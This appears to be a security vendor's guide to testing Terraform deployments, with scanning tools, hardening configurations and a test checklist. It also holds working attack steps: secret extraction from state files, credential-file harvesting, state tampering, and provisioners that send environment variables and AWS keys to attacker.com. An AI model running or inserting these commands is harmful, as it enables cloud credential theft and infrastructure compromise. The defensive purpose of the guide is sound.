Terraform defines cloud infrastructure in code — making it a high-value attack surface. A single misconfigured module can expose storage buckets, overprivileged IAM roles, or unencrypted databases at scale. This guide covers the complete Terraform attack surface: scanning HCL for misconfigurations, extracting secrets from state files, stealing provider credentials, poisoning public modules, and attacking remote backends.
Terraform manages infrastructure through three primary artifacts — each with distinct security implications:
| Artifact | Attack Vector | Risk Level |
|---|---|---|
.tf files | Hardcoded secrets, misconfigured resources, insecure defaults | High |
State file (terraform.tfstate) | Plaintext secrets, sensitive outputs, resource metadata | Critical |
| Provider credentials | Environment variables, ~/.aws/credentials, Vault tokens | Critical |
| Remote backends | S3 bucket ACLs, Terraform Cloud tokens, backend state access | High |
| Public modules | Supply chain compromise, typosquatting, malicious providers | Medium |
The most critical asset is the state file. Terraform stores every attribute of every managed resource — including RDS passwords, IAM access keys, and TLS private keys — in plaintext JSON.
Static analysis of Terraform code identifies insecure resource configurations before deployment. Several tools specialize in HCL analysis.
tfsec performs static analysis across all major cloud providers:
# Install tfsec
brew install tfsec
# Scan current directory
tfsec .
# Output as JSON for CI integration
tfsec . --format json --out tfsec-results.json
# Scan with specific severity threshold
tfsec . --minimum-severity HIGH
# Check specific provider rules
tfsec . --include-ignored --filter-results aws-s3-enable-bucket-logging
Critical findings to look for:
* actionsCheckov scans Terraform, CloudFormation, Kubernetes manifests, and ARM templates:
# Install checkov
pip install checkov
# Scan Terraform directory
checkov -d /path/to/terraform --framework terraform
# Scan with custom policies
checkov -d . --external-checks-dir ./custom_checks/
# Generate SARIF output for GitHub Advanced Security
checkov -d . --output sarif --output-file checkov.sarif
# Run only high/critical checks
checkov -d . --check CKV_AWS_18,CKV_AWS_19,CKV_AWS_21
# Suppress known false positives
checkov -d . --skip-check CKV_AWS_144
Automated scanners miss logic-level misconfigurations. Look for these manually:
# Find hardcoded secrets in .tf files
grep -rE "(password|secret|api_key|token|private_key)\s*=\s*\"[^$]" *.tf
# Find overly permissive security groups
grep -A5 "aws_security_group_rule" *.tf | grep "0.0.0.0/0"
# Find public S3 buckets
grep -A10 "aws_s3_bucket" *.tf | grep "public"
# Find unencrypted EBS volumes
grep -A5 "aws_ebs_volume" *.tf | grep -v "encrypted\s*=\s*true"
# Find IAM policies with wildcards
grep -rE '"Action":\s*"\*"' *.tf
grep -rE '"Resource":\s*"\*"' *.tf
sensitive = true are redacted from logs but still stored in state. Sensitive marking provides no protection against state file compromise.
The Terraform state file is the most dangerous artifact in an IaC deployment. It stores every resource attribute in plaintext JSON — including secrets that would never appear in application code.
# Common secrets stored in terraform.tfstate
cat terraform.tfstate | python3 -c "
import json, sys
state = json.load(sys.stdin)
for res in state.get('resources', []):
for inst in res.get('instances', []):
attrs = inst.get('attributes', {})
for k, v in attrs.items():
if any(s in k.lower() for s in ['password', 'secret', 'key', 'token', 'cert', 'private']):
print(f'{res[\"type\"]}.{res[\"name\"]}.{k} = {str(v)[:100]}')
"
Typical findings include:
aws_db_instance.master_passwordaws_iam_access_key.secrettls_private_key.private_key_pemaws_eks_cluster.tokenaws_elasticache_replication_group.auth_tokenaws_api_gateway_api_key.value# Extract all string values containing likely secrets
cat terraform.tfstate | jq -r '
.. | objects | to_entries[] |
select(.key | test("password|secret|key|token|credential"; "i")) |
"\(.key): \(.value)"
' 2>/dev/null | head -50
# Target specific resource types
cat terraform.tfstate | jq -r '
.resources[] |
select(.type == "aws_db_instance") |
.instances[].attributes |
{username, password, endpoint, db_name}
'
# Extract Kubernetes cluster credentials
cat terraform.tfstate | jq -r '
.resources[] |
select(.type == "aws_eks_cluster") |
.instances[].attributes |
{name, endpoint, "ca_data": .certificate_authority[0].data, token}
'
State files stored in S3 are a common target. Misconfigured bucket policies expose them to any authenticated AWS principal:
# Check if S3 backend bucket is readable
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/production/terraform.tfstate /tmp/
# Enumerate all state files in a bucket
aws s3 ls s3://terraform-state-bucket/ --recursive | grep ".tfstate"
# Check DynamoDB lock table for active operations (reveals infrastructure targets)
aws dynamodb scan --table-name terraform-state-locks \
--projection-expression "LockID,Info,Operation"
# Terraform Cloud — enumerate workspaces if API token is known
curl -s https://app.terraform.io/api/v2/organizations/ORG/workspaces \
-H "Authorization: Bearer $TFC_TOKEN" | jq '.data[].attributes.name'
# Download state from Terraform Cloud workspace
curl -s "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" \
-H "Authorization: Bearer $TFC_TOKEN" | jq -r '.data.attributes."hosted-state-download-url"'
Terraform providers authenticate to cloud APIs using credentials that, if stolen, grant the same permissions as the service account running Terraform — often broad administrative access.
# Environment variables (most common in CI/CD)
printenv | grep -E "AWS_|GOOGLE_|ARM_|TF_VAR_"
# AWS credentials file
cat ~/.aws/credentials
cat ~/.aws/config
# GCP service account key files
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
find / -name "service_account*.json" 2>/dev/null
# Azure service principal credentials
find / -name "*.tfvars" 2>/dev/null | xargs grep -l "client_secret" 2>/dev/null
env | grep -E "ARM_CLIENT|ARM_SUBSCRIPTION|ARM_TENANT"
# Terraform Cloud tokens
cat ~/.terraform.d/credentials.tfrc.json
cat /root/.terraform.d/credentials.tfrc.json
.tfvars files frequently contain secrets that should be in Vault or SSM:
# Find all .tfvars files
find . -name "*.tfvars" -o -name "*.tfvars.json" 2>/dev/null
# Check for secrets in tfvars
grep -rE "(password|secret|api_key|private_key|token)\s*=" *.tfvars 2>/dev/null
# Check git history for previously committed tfvars
git log --all --full-history -- "**/*.tfvars"
git log -p --all -- terraform.tfvars | grep "^+" | grep -iE "password|secret|key"
Terraform Cloud API tokens provide access to all workspaces in an organization:
# Enumerate organization workspaces
TFC_TOKEN="YOUR_TOKEN"
ORG="your-org"
curl -s "https://app.terraform.io/api/v2/organizations/$ORG/workspaces?page[size]=100" \
-H "Authorization: Bearer $TFC_TOKEN" | \
jq -r '.data[] | "\(.id) \(.attributes.name) \(.attributes["terraform-version"])"'
# Read variables (including sensitive) from a workspace
WS_ID="ws-XXXXXXXX"
curl -s "https://app.terraform.io/api/v2/workspaces/$WS_ID/vars" \
-H "Authorization: Bearer $TFC_TOKEN" | \
jq -r '.data[] | "\(.attributes.key) = \(.attributes.value // "[SENSITIVE]") (sensitive: \(.attributes.sensitive))"'
# Trigger a speculative plan to exfiltrate provider credentials via a malicious module
curl -s -X POST "https://app.terraform.io/api/v2/runs" \
-H "Authorization: Bearer $TFC_TOKEN" \
-H "Content-Type: application/vnd.api+json" \
-d '{"data": {"attributes": {"is-destroy": false, "plan-only": true}, "relationships": {"workspace": {"data": {"type": "workspaces", "id": "'"$WS_ID"'"}}}, "type": "runs"}}'
Terraform backends store state remotely. The most common — S3 — is frequently misconfigured.
# Check backend configuration for security issues
cat main.tf | grep -A20 'backend "s3"'
# Insecure backend config (no encryption, public ACL, no versioning)
# Look for missing: encrypt = true, server_side_encryption_configuration
# Check bucket public access block settings
aws s3api get-public-access-block --bucket terraform-state-bucket
# Check bucket policy allows cross-account access
aws s3api get-bucket-policy --bucket terraform-state-bucket | python3 -m json.tool
# Check if versioning is enabled (no versioning = state can be overwritten for lateral movement)
aws s3api get-bucket-versioning --bucket terraform-state-bucket
# Check server-side encryption
aws s3api get-bucket-encryption --bucket terraform-state-bucket
An attacker with S3 write access can tamper with state to trigger malicious infrastructure changes on the next terraform apply:
# Download, modify, and re-upload state (requires S3 write access)
aws s3 cp s3://terraform-state/prod/terraform.tfstate /tmp/state.json
# Add a malicious resource to state or modify existing resource attributes
# Example: change security group rules to allow attacker IP
python3 -c "
import json
with open('/tmp/state.json') as f:
state = json.load(f)
# Modify security group ingress to include attacker IP
for res in state['resources']:
if res['type'] == 'aws_security_group_rule':
for inst in res['instances']:
inst['attributes']['cidr_blocks'] = ['0.0.0.0/0', '1.2.3.4/32']
with open('/tmp/state_modified.json', 'w') as f:
json.dump(state, f)
"
aws s3 cp /tmp/state_modified.json s3://terraform-state/prod/terraform.tfstate
terraform plan will show a drift; if engineers accept the "fix," they unknowingly apply attacker-controlled infrastructure changes.
Public Terraform modules from the registry are frequently used without pinning versions, creating supply chain risk.
# Find unpinned module versions (high risk)
grep -rn 'source\s*=\s*"' *.tf | grep -v "?ref=" | grep -v "version\s*="
grep -rn 'module\s' *.tf -A5 | grep -v "version"
# Dangerous patterns:
# module "vpc" {
# source = "terraform-aws-modules/vpc/aws" # No version pin!
# }
# Safe pattern:
# module "vpc" {
# source = "terraform-aws-modules/vpc/aws"
# version = "5.1.2" # Pinned
# }
# Check provider sources (should use registry.terraform.io)
grep -rn 'source\s*=' .terraform/providers/ 2>/dev/null
grep -rn 'required_providers' *.tf -A10 | grep "source"
# Suspicious: non-official provider sources
# source = "github.com/attacker/malicious-aws-provider"
# Verify provider checksums
cat .terraform.lock.hcl | grep -A5 "provider"
# Check for provider hash mismatches
terraform providers lock -platform linux_amd64
# Modules loaded directly from git are not hash-verified
# source = "git::https://github.com/company/modules.git//vpc?ref=main"
# main branch reference is especially dangerous — attacker who compromises
# the upstream repo gets code execution on next terraform init/apply
# Audit git-sourced modules
grep -rn 'git::' *.tf | grep -v "?ref=v[0-9]" # Non-tag refs
grep -rn 'github.com' *.tf | grep "?ref=main\|?ref=master"
Terraform is almost always run inside CI/CD pipelines where provider credentials are injected as environment variables or secrets.
# Vulnerable pattern: unsanitized variable passed to terraform
# GitHub Actions example:
# - run: terraform apply -var="instance_count=${{ github.event.inputs.count }}"
# Attacker input: "1\" \"-target=null_resource.malicious"
# Terraform plan output injection (when plan is stored as artifact)
# Malicious resource in a PR can exfiltrate secrets via plan output:
resource "null_resource" "exfil" {
provisioner "local-exec" {
command = "curl https://attacker.com/$(env | base64 -w0)"
}
}
# This runs during terraform apply in CI, dumping all env vars (including credentials)
# In GitHub Actions, a malicious terraform provisioner can read all secrets:
resource "null_resource" "steal" {
provisioner "local-exec" {
command = <<-EOT
# Exfiltrate AWS credentials
curl -s https://attacker.com/collect \
-d "key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY&token=$AWS_SESSION_TOKEN"
# Or grab the entire IMDS token if running on EC2
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
CREDS=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
-H "X-aws-ec2-metadata-token: $TOKEN")
curl https://attacker.com/creds -d "$CREDS"
EOT
}
}
# Pre-apply checks for dangerous provisioners
grep -rn "local-exec\|remote-exec" . --include="*.tf" | grep -v "^#"
grep -rn "null_resource\|terraform_data" . --include="*.tf" -A10 | grep "provisioner"
# Check for external data sources with dangerous commands
grep -rn "external" . --include="*.tf" -A5 | grep "program"
# Run terraform plan in read-only mode before apply
terraform plan -lock=false -refresh=false # Won't trigger provisioners
# S3 backend with all security controls enabled
terraform {
backend "s3" {
bucket = "company-terraform-state"
key = "prod/terraform.tfstate"
region = "eu-west-1"
encrypt = true # Server-side encryption
kms_key_id = "arn:aws:kms:..." # Customer-managed key
dynamodb_table = "terraform-locks" # State locking
# Restrict access with bucket policy + IAM
# Never allow public access
}
}
# Enforce bucket policies
resource "aws_s3_bucket_public_access_block" "state" {
bucket = aws_s3_bucket.terraform_state.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
# Use AWS SSM Parameter Store instead of tfvars
data "aws_ssm_parameter" "db_password" {
name = "/prod/rds/master-password"
with_decryption = true
}
resource "aws_db_instance" "main" {
password = data.aws_ssm_parameter.db_password.value
}
# Use HashiCorp Vault for dynamic credentials
provider "vault" {}
data "vault_aws_access_credentials" "creds" {
backend = "aws"
role = "my-role"
}
# Never store secrets in tfvars — use environment variables or Vault
# BAD: db_password = "supersecret123"
# GOOD: db_password = var.db_password (injected via TF_VAR_db_password env var)
# GitHub Actions — use OIDC instead of long-lived credentials
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::ACCOUNT:role/TerraformCI
aws-region: eu-west-1
# Short-lived token, no stored credentials
# Restrict what the CI role can do
# IAM policy: only allow specific Terraform actions, not AdministratorAccess
# Block plan output from showing sensitive values
# terraform plan -out=tfplan && terraform show -json tfplan | \
# jq 'del(.. | .sensitive_values?)' > safe_plan.json
# Always pin module versions
module "vpc" {
source = "terraform-aws-modules/vpc/aws"
version = "= 5.1.2" # Exact pin, not ">= 5.0"
}
# Use .terraform.lock.hcl and commit it to git
terraform providers lock \
-platform=linux_amd64 \
-platform=darwin_arm64
# Validate lock file integrity in CI
terraform init -lockfile=readonly # Fails if lock file would change
# Use private module registry for internal modules
module "internal_vpc" {
source = "app.terraform.io/company/vpc/aws"
version = "1.0.0"
}
.terraform.lock.hcl to version control.
| Test | Tool | Priority |
|---|---|---|
| HCL misconfiguration scan | tfsec, Checkov | High |
| State file secret extraction | Manual / jq | Critical |
| S3 backend public access check | AWS CLI | Critical |
| Provider credential discovery | Manual enumeration | Critical |
| tfvars secret audit | grep, git log | High |
| Module version pinning check | grep, tfsec | High |
| CI/CD provisioner review | Manual code review | High |
| Terraform Cloud token scope | TFC API | Medium |
| Lock file integrity | terraform init -lockfile=readonly | Medium |
Ironimo integrates tfsec and Checkov into automated scans, detects exposed state files, and alerts on IaC misconfigurations before they reach production.
Start free scan